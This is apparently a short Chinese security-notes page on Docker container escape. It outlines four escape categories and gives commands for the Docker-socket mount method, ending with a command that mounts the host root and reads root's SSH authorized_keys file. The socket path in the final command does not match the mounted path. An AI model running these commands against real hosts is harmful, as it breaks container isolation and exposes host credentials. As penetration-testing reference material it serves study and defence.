作者 | 修订时间 |
---|---|
2023-10-16 22:58:24 |
容器逃逸
Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离;但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上,常用的逃逸手法包含四类:危险配置、危险挂载、组件漏洞、内核漏洞。
危险挂载
01. Docker socket
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信。如果将Docker Socket(/var/run/docker.sock)挂载到容器内,则在容器内可以控制主机上的Docker创建新的恶意容器,从而实现逃逸
docker.sock
这个文件被挂载到容器1
中,可以通过容器1
中操作宿主机重新启动一个docker容器2
并将 /
文件挂载到l,在容器2
中操作
docker run --rm -it -v /run/docker.sock:/run/docker.sock ubuntu:20.04 /bin/bash
apt-get update
apt-get install -y curl && bash -c "$(curl -fsSL https://get.docker.com/)" && \
docker -H unix:///docker.sock run --rm -it -v /:/hosts ubuntu cat /hosts/root/.ssh/authorized_keys